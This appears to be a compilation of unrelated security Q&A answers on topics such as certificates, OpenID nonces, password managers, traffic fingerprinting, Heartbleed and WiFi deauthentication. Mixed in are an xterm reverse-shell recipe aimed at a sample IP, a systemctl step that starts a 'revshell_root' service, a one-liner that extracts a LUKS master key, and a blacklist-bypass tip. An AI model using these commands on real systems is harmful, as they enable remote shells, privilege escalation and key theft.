'Good guys' have to limit their actions to things that are 'good,' in order to remain 'good guys.'

'Bad guys' have no such restriction. They can get away with creating honeypots, telling the truth occasionally, and even saving puppies, and as long as they still do at least some 'bad' stuff occasionally, they are still 'bad guys.'

That's a bit sarcastic, but there's some truth to it. I think 'bad guys' do pretty much everything. It's a less restrictive title. Also, 'bad guys' don't exclusively go after 'good guys.' Honeypots can be used to gather information in order to exploit other 'bad guys.'


How do you tell a website they have expired security certificates?

In this case, the answer is (sort of) in the certs (which is not that uncommon):

openssl s_client -connect sservi.nasa.gov:443 | openssl x509 -text

<...snip...>
        Authority Information Access:
            CA Issuers - URI:http://pki.treas.gov/noca_ee_aia.p7c
            CA Issuers - URI:ldap://lc.nasa.gov/ou=NASA%20Operational%20CA,ou=Certification%20Authorities,ou=NASA,o=U.S.%20Government,c=US?cACertificate;binary
            OCSP - URI:http://ocsp.treas.gov

The first link (minus the P7C file) provides a landing page, with a 'contact us': http://pki.treas.gov/contact_us.htm

Another tool (sometimes) worth checking into is whois - but the x509 authority information seems the more appropriate place to check.


Purpose of nonce validation in OpenID Connect implicit flow

My current understanding is as follows:

The client (a web application running in the user's browser) generates a nonce, puts it into the browser's session storage, and redirects to the authentication server, passing the nonce as parameter. After authentication, the authentication server redirects back to the client, passing a signed id token containing the nonce, which the client must validate against the nonce from the session storage.

If the nonce is not validated, an attacker could substitute another id token, by tricking the user into visiting his site, and sending a redirect with a valid id token obtained from a different request.

In addition to the id token, the authentication server also replies with an access token. If the nonce is not validated, an attacker could substitute a different access token, by tricking the user onto his site, and redirecting with that token. This might be used for a client side denial of service attack (in particular if browser tabs share the token storage, i.e. use local rather than session storage).

In summary, nonce validation is necessary to trust the id token. If the id token need not be trusted, nonce validation may be skipped.


Using an off-by-one buffer overflow can I manipulate EIP to execute code located outside the target program?

It is a computer, it cannot be smart.

From the point of view of the kernel, memory space is split into pages (typically 4 kB per page). Each page has access rights, like "can be written to", "can be read", "can be executed" or "cannot be accessed / not here". The kernel will not mind in any way as long as you jump into a page which is marked as "can be executed". If you alter only the least significant byte of eip, you will fall into the same page than the original caller, so the jump will be allowed. Of course, if you jump into bytes which do not make sense as instructions, things will go sour pretty fast...

(Note: on 32-bit x86 CPU, with usual operating systems, there may be no difference between "can read" and "can execute" for pages; it is a quirk of the Memory Management Unit used in the early 32-bit x86 CPU.)


Why would the BBC web site always ask for a personal certificate, and how do I avoid giving it away?

You shouldn't really be worrying about this, the certificate contains only your public key, which is supposed to be public anyway. The only issue is the privacy concern of giving away the information in your certificate to any site that asks for it.
Summary of the issue:

The BBC weather page has a request to http://www.live.bbc.co.uk.

HTTPS Everywhere is changing the request to httpS://www.live.bbc.co.uk.

The HTTP server at www.live.bbc.co.uk is configured to ask for a client certificate for secure connections.

It's likely that BBC just want to identify their employees in order to show special functionalists in the page (Inline editing of the news articles, corrections, etc.)

Remember: By using HTTPS Everywhere, you're overriding the default behavior of the sites you're visiting. The problem you're having is the result of that. The quickest solution is to disable the HTTPS Everywhere rule/option for BBC.

How did I find this?
I dug in Wireshark a bit when making a request to the weather page, and looked for who's sending me the Certificate Request TLS message. Voilà! (Credit to Daniel Kahn Gillmor for the idea)

Why wasn't this message popping before?
Because before you configured your client certificate, Firefox had thought you're not interested in client authentication thing (After all, you had no certificates installed, so no point of giving you the option to choose one). Once you added one certificate, Firefox started thinking "Maybe my human does have a certificate for this site". The certificate can be valid for any number of domain if not explicitly specified. (Note: I'm not sure if it can even be explicitly specified)
How can I make it disappear?
You have a couple of options here. You can either disable the BBC rule in HTTPS Everywhere because t's only partially supported anyway (BBC doesn't officially have HTTPS enabled for normal browsing).
Another solution would be to configure your browser to automatically make the selection for you. From your browser's settings/options/configurations.

Why would any non-malicious web site do that unless I've requested to sign in first?
Convenience. Have a valid certificate? You're automatically logged in once you visit the site.


Is it secure to set default value for password field?

If your hashing function is secure enough this shouldn't be a problem, even if an attacker know your default value he cannot in a reasonable time find a password hashing in your default value.

Anything that isn't the the result of your hashing function is a good default value (i still think you should use a random value and not your first pet name but both are ok).


Store password locally. Where? How to pass it securely?

The user enters login and a password, and this data goes to the
  server. How can I securely pass it? Should I use a secure protocol
  like https or ssl?

Yes! You need to pass the data in a security way, using TLS for example.

  If the credentials are correct I need to save this data to the local
  machine. Should I use a local database file, a binary, or just a text
  file? Where to store this file? And I bet I need to encrypt this. Also
  I need to decrypt it later, but for decryption I need some additional
  data (some key, probably), right? Where to store this additional data?

You can generate a key instead of the password, so for example, in the authentication the server returns a KEY (random bits) save that in a database with the ID of the user, and you store that KEY localy, but in the server you know who that belongs to. Then, in the second login, you send that key to the server, that checks if its valid (belongs to that user) and not expired.

  At some point I need to pass this information to another process. I
  already have tcp communication between processes established. Is this
  enough for passing? Should I pass it encrypted or decrypted.

Again, you pass only the key. You can encrypt, but its realy hard to avoid all the types of attacks your system may suffer.


Multifactor Authentication over Single Channel

Using the same device, as you have described, doesn't entirely negate the security benefits of multi-factor authentication but it definitely does greatly reduce them. In general, multi-factor authentication for banking is pretty effective. Having previously used them, HSBC give you a separate, small device that doesn't connect to the internet but generates new secure keys which are needed for logging in and setting up new payees; it is also rather small and so it's easy to carry around if needed. However, I would recommend just doing online banking whilst at home to avoid other security risks relating to public networks etc. anyway.


How secure (about spyware/backdoor in it) is LibreOffice? Should I start using OpenOffice?

I think it is safe to say that LibreOffice does not contain any backdoors or spyware and does not send your files over the Internet. LibreOffice is as secure as any other word processor such as OpenOffice or Microsoft Word. You could even say it is more secure, since it is open source and it would be pretty hard to hide malicious code in it.


Is a VPN a good way to encrypt video stream data?

Yes, a VPN will secure the connection between the camera device and the server. If its only for the RTSP (or similar) stream, then a SSL tunnel would also suffice and gives less overhead, and is easier to configure.


What issues are there with Google's "Suggest Password" feature in Chrome?

First of all, StackExchange is not a place for product recommendations. There are plenty of password managers, both free and paid, that can be found on the internet. I want to focus specifically on the password storage functionality of Google as you asked.

I want to give a compliment to you recognizing your security can be improved, which is also core to your question: The Google password storage is better then your current method (based on the CIA triad) because of the following:

Your passwords are encrypted (confidentiality)
You have online access and synchronized access to your passwords (availability)
Google Password Storage has better options to monitor changes to your passwords (integrity)

The Google password storage has everything you were looking for in the first place. It is secure, it is able to synchronize between devices, you can view passwords at your own discretion and the functionality is completely free. I think your question is more about how secure it actually is, maybe even in comparison to other password managers.

Just like with 'regular' password managers, you need a master key to access your password storage. In this case you will need access to your Google account. I would strongly advice you to use 2FA and a strong master password (length is most important) to secure your account. When you turn synchronization on, your passwords will be saved to your Google account. When you do not have synchronization on, your passwords will be saved locally.

Let me get one thing straight from one of the questions you linked: A password in a password manager is not hashed but encrypted, because of the very nature of the functionality of a password manager. You need to be able to see and use a password and therefor it cannot be hashed. This is the same for all password managers, including the Google password storage.

The other question you linked is only applicable to passwords being saved locally, something you don't have to worry about because your passwords will be saved in your Google account as mentioned above.

Although the risks explained in the answer of ShayanKM are true, your critical risk is your Google account. as long as you protect your account well enough there should not be a lot of risk in using the Google password storage compared to other password managers. The only real difference might be that you could want to prefer open source password managers, which Google password storage is not. I will leave it up to you to decide if this is important.

There are other issues that are not specific to Google, such as vulnerabilities being found in the software or not securing your device. Remember that password managers don't have to be perfect, they have to be better then not having one.


One important followup question is: Which MAC address? The router will most likely have at least one MAC address for the WAN side and one for the LAN side.

Should the vendor have chosen to create usernames with each of the MAC addresses (in the name of usability), that could lead to an interesting vulnerability where changing the default password of one of the users to something more secure would still leave the other username(s) with the default password.

On some routers you will see the LAN and WAN interfaces being assigned adjacent Ethernet addresses. And in case the router has a builtin USB-Ethernet adapter, that one may be adjacent to the other two.

The adversary would only need to know one of those MAC addresses in order to deduce the rest. Additionally from the login page the adversary could likely tell the vendor and firmware version of the router. Those two will be sufficient to deduce the first 3 bytes of the MAC address with high confidence.

There are ways the adversary could learn more information about the MAC addresses:

One of them will be in the ARP table of devices connected to this router (that includes devices both on the LAN and WAN side of the router).
One of them will be known to your ISPs DHCP server. And I have seen ISPs embed that MAC address in the hostname used for reverse DNS.
A traceroute from either side of the router will reveal an IP address of the router, which may have the MAC address embedded in it.
If a builtin USB to Ethernet adapter is used for a device on the LAN, then that device could potentially leak the information by leaking its own MAC address.

Each of these possible ways the MAC address could leak can be addressed. But I would say there are simply too many ways an adversary could learn a MAC address of your router to safely assume the MAC address can be kept secret.


Does it exist any gadget that catches and copies all the digital information?

No, it's pure science fiction.

First of all, handwriting on a piece of paper is digital. It's composed of discrete, digital symbols. A burnt match could be a piece of digital information...

Second, copying from chips such as flash storage, generally requires powering them and addressing them. This can not be done remotely for general chips. Exceptions, such as RFID, are exceptions that carry a large antenna to harvest enough energy, and adhere to specific protocols.

And when it comes to spinning disks... what physics would that be? Information is stored as magnetic information on a set of spinning platters. The disk is a pretty good faradays cage by design, and it requires large amounts of power to spin up the disk and actuate reading head voice coils...

Furthermore, there's no logic, if this was possible, that it would have to start over from the beginning if interrupted. Especially not from the beginning of the file, not the block device. If you're able to jump to the start of the file on a block device, there's no reason why you can't jump to an arbitrary point within the file as well.

The closest we have is TEMPEST attacks which try to catch the electromagnetic noise created by computers. Some components, such as CRT monitors, created fairly strong signals, that gave a quite clear representation of what was presented on the screen. But it requires the device in question to be powered on, and access the data you want to see. It doesn't allow you to grab non-accessed content from for instance a flash device or a hard drive.


Using xterm

One of the simplest forms of reverse shells is an xterm session.  The following command should be run on the target.  It will try to connect back to your system (e.g. 10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to your system (command also run on your system):

xhost +targetip

Consider blacklisting as a failure to be secure.

Blacklisting of characters is not secure and you should consider bypassing the list itself.

By example: ^| is not | but it does the job.


Can a static (HTML only) site be vulnerable to XXE?

So XXE is usually seen in areas of a site which accept user input.  If by static site, you mean a site that purely responds to HTTP GET requests for documents hosted on a server, then there's not really anywhere for XXE to occur.

The only scenario I could think of would be if the site processed a section of the URL or HTTP headers and included that as an entity in a request to an XML web service, but then at that point your site isn't really static!


What are the implications of 5 million peoples fingerprints being stolen from the US Government?

This is what FiveThirtyEight.com has to say:

What To Do With A Million Stolen Fingerprints Hint: Think bigger than iPhones.

  [Fingerprints] could be used to sniff out individuals operating in a
  foreign country under false identities.

  Imagine that you, an American spy, travel to Hackistan ostensibly to
  work as the ambassador’s dog walker. The Hackistani government grabs
  your fingerprints when you arrive in the country. But now, after their
  successful hack, they can check yours against the prints in the stolen
  OPM database.

  They find that your prints are a partial match with the prints of a
  contractor who worked for the U.S. Department of Defense a decade ago.
  Uh oh.

For national and cybersecurity experts, the thought of fingerprints in particular falling into the wrong hands is especially frightening. As National Journal wrote:

  Much of their concern rests with the permanent nature of
  fingerprints and the uncertainty about just how the hackers
  intend to use them. Unlike a Social Security number, address,
  or password, fingerprints cannot be changed—once they are hacked,
  they’re hacked for good.

Earlier this month, the Defense Department awarded a $133 million contract to an identity-theft-protection-services company to monitor the hacked data. This is an indicator for how much people are concerned.


How secure this is depends on the implementation.

Keys can be stored as WebCryptoAPI key objects and stored locally in an IndexedDB. These can then be used to encrypt and decrypt data without the server needing the key. You can even mark keys as unextractable - this means the underlying key can never be exported (ignoring of dev tools built into the browser).

Browser storage is segregated using scheme (http/https etc.), port (443 for https) and domain. So if keys are stored from a page served via https://1password.com they can then only be accessed by pages served from that domain.

However there is a caveat. 1Password need access to the encrypted data (to serve it to you if you login elsewhere). If a malicious party can control either your DNS system of the 1password.com site they would be able to serve you a page which pulls down the encrypted passwords, decrypts them using the key object and then reuploads them to a malicious server. This means at any point in the future 1Password could obtain your passwords.

Further to this the ability to share vaults makes me sceptical that keys would be marked as unextractable. It is technically possible but a system that securely shares the vault key would be far simpler to implement.

In short if you trust 1Password this should be safer than the passwords being sent in plaintext to the server. However it still relies on trusting 1Password.

One further note. Their site states -

  even allow teammates to log in to sites without being able to see the passwords.

I would be surprised if this is done in a way that wouldn't allow a sufficiently technical teammate to extract the password in plaintext. I can't think of a way to do it that wouldn't A. not work reliably accross all sites and B. require either trusting a 1Password server with the password in plaintext or requiring your PC to be always connected.


Just do as follows (using /tmp as an example)

systemctl enable /tmp/revshell_root.service

systemctl start revshell_root.service

SystemCTL's enable allows you to enable/install services in paths other than  the default, so you do not have to specify the full file path when starting it. A good example of this is CVE-2018-19788, which has a similar exploit path for privilege escalation.


How reliable is a password strength checker?

"Not considering brute force" - that's exactly what these tools measure.
Obviously they dont try social engineering, or trying to discover if it's the user's first girlfriend's dog's birthday. The attacker might know that, but these tools don't.

What they do measure is simply the difficulty for a bruteforcing tool to crack it. Not even the entropy of the password, which is an attribute of the generation method, just an estimate of how long it would take a bruteforcing tool to successfully find the correct password.
Obviously, entropy has an effect on this, but it is only total entropy that matters, not entropy-per-character. So yes, having a lot of equi-probable options for each character does add to the entropy, but length can play an even more important part in making a password uncrackable, by raising the entropy-per-character to a higher power, by character count. This makes for a much higher total entropy, which is the only thing that matters.

So, in your case - yes, the 32-character, alpha-only passphrase is much stronger than the 8-character punctuation password.

I'm gonna try and do the maths here for a bit: (please correct me when I'm wrong):

If we assume standard US-style keyboard, there are 85 possible printable characters (possibly be able to scrape a few more, but lets go with this for now): lowercase letters + upper case letters + numerals + standard punctuation + space.
This grants ~6.3 bits strength per character; at 8 chars length the password gives you ~50.4 bits strength.
Note really very strong... Even if we throw in a few more "special" characters, you're not going to upgrade that very much.

Now, for your 32 character, alpha-only passphrase...
Let's assume lowercase and uppercase letters only (even though you didnt use any), plus a space (U+32). Not even numerals...
That gives you 54 possible characters, around ~5.8 bits per character. At 32 chars long, thats over 185 bits strength. Substantially stronger. And that's even without numerals, which are usually accepted even in "simple" password schemes.

Bruce Schneier often talks about how switching to long memorable passphrases would be much more secure than short, randomized weird-looking passwords.
Now you see why.


Should firmware images for IoT be encrypted for security reasons?

No. You should not rely upon the obscurity of your firmware in order to hide potential security vulnerabilities that exist regardless of whether or not you encrypt/obfuscate your firmware.

I have a radical suggestion: do the exact opposite. Make your firmware binaries publicly available and downloadable, freely accessible to anyone who wants them. Add a page on your site with details on how to contact you about security issues. Engage with the security community to improve the security of your product.


Browser blacklists & the Symantec-Google Certification Debacle

Why would browser community need/want a blacklist if these "harmless" certificates never left the Symantec test labs?

These are certificates for official and even critical domains. There were created and signed by an official CA. A certificate is just some data which can be easily copied. So how do guarantee that they never left the lab? Should you really trust the claims of a CA which  obviously has not enough control over its internal processes to make sure that such certificates gets not issued at all?

  If this is not some serious thing but part of some internal testing inside Symantec, why would 3 organizations care about if their domains are disclosed or not?

This is serious, see above.


How to identify a specific operating system with port scans?

There's also a Nessus Plugin for that. You can find more details here.

By the way, this technique is called OS Fingerprinting. You can find more details about it on this Wikipedia Page of course and in this SANS paper.


Password management with two factor authentication

Dashlane

Dashlane has the option to use 2FA to increase the security of the users data.

  At any time, a user can link his Dashlane account to a 2FA application
  on his mobile. When he attempts to connect into a new device, instead
  of sending him a One-Time Password by email, Dashlane asks the user to
  provide a One-Time password generated by the 2FA application.

From https://www.dashlane.com/download/Dashlane_SecurityWhitePaper_Nov2017.pdf

Not only does Dashlane use 2FA when authorizing a new device to access your account, it can also be used each time you log into your account.

This protects against malware on a user's computer from keylogging the master password and attempting to access their sensitive data. This is because in order to access the user data, a one-time password has to be provided - if a keylogger captures this one-time password when being typed it will be rendered useless for an attacker as a new one will have to be used next time.

1Password

1Password is a little different to Dashlane in that 1Password doesn't use 2FA. It uses something called a Secret Key. This Secret Key is 34 letters and numbers created by

  a non-secret version setting, (“A3”), your non-secret Account ID, and
  a sequence of 26 randomly chosen characters.

From https://1password.com/files/1Password%20for%20Teams%20White%20Paper.pdf

It has 128 bits of entropy and works alongside your master password to secure your data.

An example of a Secret Key could be A3-ASWWYB-798JRY-LJVD4-
23DC2-86TVM-H43EB. The Secret Key is generated when a 1Password account is first created and prevents an attacker who has acquired remotely stored user data from guessing the master password needed to access this data.

The Secret key is used each time you enroll a new client to your device and when you have to authenticate to the server. This can be seen again in the whitepaper for 1Password:

  When enrolling a new device, the user will provide the client with the
  add-device link (possibly in the form of a QR code) and her Master
  Password. The add-device link is generated at the user’s request from
  an already enrolled client and includes the domain name for the team,
  the user’s email address, and her Secret Key.

General

An issue with 1Password is that if the secret key and master password are known, for example from a keylogger, your user data can be viewed. This is different to Dashlane as you can use a one-time password to protect your data, making keylogging ineffective.

However, Dashlane isn't secure against all types of malware. It may be susceptible to malware taking screenshots of a password being viewed in the Dashlane application, as would 1Password.

When using a password manager, you have to accept that there is the possibility of your passwords being discovered since they are stored in a place other than your head.


Stealing Veracrypt or LUKS hash while system running?

If the attacker has root, then yes, easily. For LUKS, this can be done with dmsetup table --showkey /dev/mapper/whatever | awk '{print $5}' | xxd -r -p to get the master key file, which you can then pass to cryptsetup later.


Create live USB that hides IP address from foreign government

Tails is a project that provides exactly what you need, ready to download and install on  a USB flash drive.

Be warned that it is difficult to hide the fact that you are using Tor in the first place, which may raise suspicion in and of itself. My advice is to be careful where you use it. Depending on the country you could get your relatives in trouble if you use it at their house.


Does it make sense to scan localhost site?

When scanning over a network, the topology between the scanning software and the server you are scanning is very important.

Some tools need to be run on the server you are scanning.

Depending on the type of scan you are doing, some tools will require that you run them on the server you are analyzing. This is usually done in what is called white-box testing. By running the tool on the server, the tool will be able to read the source code of the application. An example of this kind of tool would be the Acunetix WP Security Plugin. This is a plugin that runs within your wordpress application.

Other tools should be run over the network.

You should position your tool so that it can reach your server similar to how your users reach your server. WPScan is this type of tool. For example, if your website is on a private intranet, you should be running your tools from an intranet connected machine.

Should I install wpscan on my wordpress server?

I can't see anything directly wrong with this. You should note that if you have load balancers or web application firewalls then your results from using WPScan locally may be different than if you ran them from another place on the internet. This can be helpful, as you may find vulnerabilities that your WAF may block, but still exist.

If you do have direct access to the server, you should look into white-box security solutions as well. White-box can often be more accurate since analysis can be performed directly on the code and not just on server responses.


Would it be possible for an ISP to guess specific requests on an HTTPS site using package size?

Effectively you are asking about fingerprinting web browser behavior when visiting specific pages on a website. Yes, this is definitely something which can be done but the accuracy will vary from site to site depending on how much the web pages themselves vary and typically people doing this type of analysis are also gathering a little more data than just HTTPS request size (although in some cases HTTPS request information is all you would need).

Keep in mind the ISP's are actually getting a LOT more data including DNS requests, timing information for page loads, additional browser assets that may be loaded (javascript, 3rd party CSS, web fonts, etc..) and requests for files hosted on a Content Distribution Network CDN or a secondary image server, or remote ad server requests and some things like Google Analytics at the same time.

Add all of this additional data and fingerprinting what the browser is doing at any given time becomes much easier even with HTTPS enabled on the main site being visited.

Think of the following three requests to a website.

1.) The main page containing 15 images across 2 hosts and 2 CDN's as well as a banner ad. This page also loads a Javascript library from a remote site as well as some web fonts from yet another website.

2.) A secondary page containing 3 images that are hosted on 1 host and one large image hosted on a CDN, some HTML content from 1 host and 2 new javascript library connections.

3.) A third page containing very specific information of interest hosting a much longer HTML page, a few very large photos all from only 1 host (not accessing a CDN) and maybe this website took a few milliseconds longer to load since the web server no longer had it cached in ram.

These are overly simplistic examples but what you can start to see is that each web page in these examples has a unique fingerprint when loaded by a browser. Many websites have very homogenous pages which won't lend them self to such easy fingerprinting but this is primarily for example purposes.

In any case, since these unique fingerprints can be created and even proactively analyzed by large search engines or bots (or simply collected in mass by the ISP's). It does make it very easy in some cases to predict what a user is doing and in many cases exactly which page on a website is being viewed.

As far as request sizes being the same you also have three additional variables to keep in mind:

1.) Compression algorithms negotiated between browser and server for data being sent.

2.) Packet size variation due to additional factors like type of network.

3.) Dynamic pages with things like news feeds will change in size.

Even with a couple of variables like these, it would still be possible to reasonably approximate which page a person is loading. It won't be an exact one-to-one size to page comparison but for certain browsers under certain conditions the data size will frequently be the same and the range of behaviors will likely be very closely grouped together.

Finally, a bigger concern is the aggregation of many different types of data and compiling that information about customers so that customer profiling can happen with only a few clicks and comparisons with other data sets. ISP's will get an amazing amount of data about end users from every device in their houses that communicates out.


In OpenPGP, when encrypting with public key -- is it possible to not include the RSA key id?

It is possible to hide the key ID by specifying a hidden recipient. This simply zeros out the included ID in the metadata and requires the recipient to exhaustively try all their secret keys before they can tell if it was even encrypted to them. This is part of the standard, specifically RFC 4880 § 5.1:

  An implementation MAY accept or use a Key ID of zero as a "wild card"
     or "speculative" Key ID.  In this case, the receiving implementation
     would try all available private keys, checking for a valid decrypted
     session key.  This format helps reduce traffic analysis of messages.

GnuPG, an implementation of the OpenPGP standard, provides an option to do this:

--hidden-recipient name
-R

  Encrypt for user ID name, but hide the key ID of this user's key. This option
  helps to hide the receiver of the message and is a limited countermeasure
  against traffic analysis. If this option or --recipient is not specified,
  GnuPG asks for the user ID unless --default-recipient is given.

I do not know if OpenPGP.js supports this*, but it would be trivial to hack in support for it.

But know that this does not provide cryptographic protection against key discovery! Given enough encrypted ciphertexts, an adversary can discover what public key was used to encrypt it by solving the German tank problem. So hiding the key ID, even if supported by the standard, will not give you key privacy if an adversary has access to multiple ciphertexts and your public key.

RSA messages encrypted with a key using modulus n contain an integer between 0 and n-1 with uniform distribution. If an adversary is able to observe multiple encrypted messages, they will be able to determine a few of the most significant bits of the modulus, allowing them to tell individual encrypted messages apart or even tie them to their public key (after all, the modulus is public).

* According to the source code, a zeroed key ID appears to be supported. It was added in this commit.


Maybe you can look at their MAC address. For example, by default, VirtualBox begins theirs MAC address by 08002xxxx.

The lists of couple address MAC - constructors
https://support.microsoft.com/fr-fr/kb/461260


How to setup a dedicated home machine (Linux) for secure transactions?

In addition to the other answers, you might want to try to increase the security of your browser. Default levels are a compromise between security and ease of use.

For Firefox, there is a list of SSL related addons that may help. There are also instructions on improving the security of SSL connections.

There is also a web site that helps you understand whether you have the basics right for SSL connections.

Getting SSL connections right is one of the important things as it is your secure connection to your secure web sites.

I would actually recommend also that you put the whole secure setup on a large FLASH USB drive and boot from it when you want to securely go online. That way, you are not accidentally leaving traces behind on your normal partition. Keep the USB drive in the safe when not in use.

By the way, the reason you haven't hit on anybody recommending this way of doing things is simply that it is a pain and few people are that bothered.

UPDATE:

If you are keen to have a USB bootable, secure environment, you have some options.

Firstly, you might consider using BSD (see here and here) instead of Linux as this is generally considered more secure by design.

For Linux, there are some articles that explore what you are trying to do. Here for example, here.

You can add some additional security by ensuring that the USB drive is fully encrypted. This can be via a whole disk encryption (or here) or by using secure USB drives, for example the LOK-IT drive.

Be careful though if you travel with these devices since there are plenty of unenlightened corners of the world, including the USA, whose customs officials will assume that you are a bad guy, if not a terrorist, if you are "evil" enough to carry encrypted data with you. Ref: 1, 2, 3, 4, 5, ...


IIS 7.5 should keep both sites independant even if the user is the same.
I would advise to run the sites in different application pools. :)

But both sites will have access where the user is defined to have access.

So if your web application is not strong enough it might exist the possibility of trying to navigate to the other directory.

"Use ASP.NET impersonation when you want to run your ASP.NET application under a security context different from the default security context for ASP.NET application.

If you enable impersonation for an ASP.NET application, that application can run in one of two different contexts: either as the user authenticated by IIS 7 or as an arbitrary account that you set up. For example, if you were using Anonymous authentication and chose to run the ASP.NET application as the authenticated user, the application would run under an account set up for anonymous users (typically, IUSR). Likewise, if you chose to run the application under an arbitrary account, it would run under whatever security context was set up for that account."

source: http://technet.microsoft.com/pt-pt/library/cc730708(v=ws.10).aspx


Do all files downloaded from the web, come with a checksum to verify the file?

Does it come with a checksum, which I can verify against after I have
fully downloaded the file?

No, random files do not come with a checksum.  Providing checksums to go with files is usually only done for executables and installation media.

check BEFOREHAND what that file's signature / fingerprint / digest /
hash is; Can I do that?

No, you can only checksum a file after you've downloaded it.

I want to bank those hashes and put them into a database, where I can
ascertain if I have downloaded that particular file before hence
saving bandwidth.

I'm afraid what you're trying to do simply isn't supported.  And to an extent, web browser caching provides bypass of redundant image loads already.


As you said, it's hard to make good guesses, so this isn't a full answer (it would have been a comment but it's too long for that).

  It seems to me that if they had root-shell access they could have done a lot more damage than they did. Is the fact that they did not a) because they were being "nice" or b) they didn't really have that level of access?

In my (limited) experience, attackers of servers often aren't even interested in root access because the things they want to do (set up a spam mailer, a bitcoin miner or use your system as a proxy for various purposes) don't require it. I've been administrating internet-connected servers for 15 years and I haven't yet found an attacker who was interested primarily in the destruction of the system he took over (but as I said, I only have a handful of cases I can look back to).

  What exploit might have been used to take down the ZFS array and passwords in the hypervisor? Is it possible the exploit could have been closed by the upgrades?

This is what I would be most worried about. I'd be asking myself how the intruders were able to touch the hypervisor. There's 3 options in my mind:

They attacked the hypervisor through a network service running on the hypervisor (possibly ssh if it's the only one)
They attacked it through the shared ZFS filesystem (depending on what exactly you're sharing in the ZFS, that's very likely or pretty much impossible)
They attacked the VM and then escaped out of the VM into the hypervisor.

Option 3 would give me nightmares. It's possible, there are various demonstrations on security conferences, but I haven't heard of it occuring much in the wild.

What to do

As your questions almost certainly can't be answered by anyone here, you'll have to answer them yourself. You do this by inspecting your systems, looking for the entry point of the malware.

If you can take a snapshot of your VM (or even better, make a copy of it), this is a good way to preserve possible proof of the breakin method. If you can't, you'll have to work on the live VM.

Finding out how an attacker broke into your system is important because if you don't, you can't trust your system to not get infected again. So there's really no way around it.

Once you know how the attackers got in, you'll have to decide whether to install your system from scratch and close the hole, or try to find out what the motives of the attackers were. If you go the second route, you run the risk of guessing wrong and leaving behind a system you can't really trust any more, because it might still contain malicious surprises the attackers left behind.

I'd vote for full reinstall, but sometimes from the things an attacker did on your system, you can tell with high confidence that he was only interested in a single thing (like mining bitcoins), and once you remove that, you can be fairly certain your system is clean again. Still, it's a risk.


Prevent someone from using your site for phishing?

Depending on the language and framework you are using, maybe it's time to look at some machine learning libraries for spam detection.  If you use this malicious user's methods as the training set you maybe able to lower your false positive rate.


Yes.  A Harris Stingray, Boeing DRT box, or other cell simulator can intercept SMS messages.

These are monitoring devices that have secretly been used by police agencies for over a decade.  They come with strict non-disclosure agreements where the agencies that purchase them are not even allowed to acknowledge their existence to the public, and certainly are not available to the general public.  As they have recently come into the sunlight, the legality of their use for warrantless wiretaps has been called into question.  The state of California passed a law that took effect on 1 January, 2016, requiring officials to obtain a warrant to use them.

Researchers have used a cheap RTL-SDR receiver to decode SMS messages; be aware this would likely run afoul of various laws if applied to any messages but your own.  If you're interested, here is a link to the project writeup.


Folder level encryption on a Windows 10 Pro laptop

the hassle of full disk encryption is not worth it.

You have Windows 10 Pro so you can just turn on Bitlocker encryption with like three steps (these three steps were yoinked from this Microsoft reference):

Sign in as an administrator account;
In the search box on the taskbar, type Manage BitLocker and then select it;
Select "Turn on BitLocker" and then follow the instructions.


To quote AviD on this:

  Security at the expense of usability comes at the expense of security

If you make it too hard to fulfill a security policy, people will either ignore it or look for loopholes and workarounds which fulfill it to the letter but not to the spirit. So you will reach the opposite of what you intended and weaken security.

A security policy therefor should:

Have the goal to make people sensitive for problems instead of enforcing solutions.
Encourage people to take responsibility for maintaining good security instead of blindly following instructions.
Be mostly SHOULD policies and not MUST policies, so people can diverge when they have good reason.
Find a reasonable compromise between security and usability.

Anecdote: I friend of mine worked in a team maintaining a system with a very stringent password policy. Not only did it mandate regular password changes, a minimum length and the use of numbers, lower-case, upper-case and special characters, it also had a long set of rules which had the intention to prevent passwords from being too similar to previous passwords. The result was that you usually could find papers in the bins or littered around the office where people tried to construct passwords to fit these stringent policies. Thanks to the password policy it would have been ridiculously easy to obtain passwords through dumpster diving.


ltd.exe, "Vista Antivirus Security 2012", any info?

It's impossible to say with certainty how this infection was distributed. The rogue-AV landscape is a complex marketplace of affiliate groups; the infection process is likely to have been undertaken by a different party to the team behind Vista Antrivirus Security itself. Each pay-per-install affiliate may use different tactics.

But yes, plugin exploits (against Java and Acrobat in particular) have been the most popular drive-by-download vector in the last few years, so Java is a good guess. The other common infection methods are the simple trojan play (“to view this page, install this codec...” et al) and P2P poisoning but if you have a cautious user that would be less likely.

Going through the about:cache logs might reveal something.


Scrapping sensitive information via Heartbleed

HeartBleed is a way to get a chunk of the server's memory. Regardless of whether or not someone is actively looking at sensitive data, there is at least one piece of sensitive data that will be resident in the server's memory - the server's private key for the ssl certificate.   We know that is actively in use because the attacker's own connection would have needed to be established with that key.

If no-one else has used the server, that may be the extent of it, but that key is sufficient to allow the opportunity for attackers to perform man-in-the-middle attacks and/or otherwise impersonate the server.

If the server is in active use and is sending back sensitive information, the contents of those requests/responses (which may include user/passwords) may (or may not) be found in the returned chunk of memory.  Other possibilities for an active server include session keys and potentially sensitive usage data.

All in all, it is a bad one - make sure you're patched.


Packet Injection during attacks on WPA/WPA2/WEP -- How it works

So, I'm going to say for this it works by understanding the protocols in place. I think that's going to be the only real answer for this question. See why below.

Basically packet injection is beacons that contain faked or generated packet details. Usually involving details from the iv or arp data you can pull in passive sniffing. Some tools allow you to try to get data such as ivs from launching other attacks, who would have guessed.

This site (or google yourself) shows an example of manually forging wireless beacons:
www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/

Which is largely similar to whats done in aireplay:
github.com/aircrack-ng/aircrack-ng/blob/db3e34dfb6bac7df69b6a05146ddfe57fe60a25b/src/aireplay-ng.c

In cases like this deauth attack, it builds a frame beacon that requires the generic broadcast mac. This is a known, hardcoded thing so it's easy to identify. Then sends this beacon. It's knowledge of the protocol that will help here, because (depending on implementation tbh) some cases routers will allow clients to deauth without requiring ivs. However, note the code for aireplay does provide the ability to use known ivs and replay them against the router. If you hit one system and one router, and tell them both to disconnect, you can usually just time attack it until it succeeds.

security.stackexchange.com/questions/20219/preventing-deauthentication-attacks

This previous example goes into details on why this beacon works, but tldr, it's a beacon you can send to your router, router says "okay, toodles" and kills its end of a session. At the same time, you kill the clients doing the opposite. Most situations you'd want to tell the client to disconnect from the router, or send the corresponding details to both.

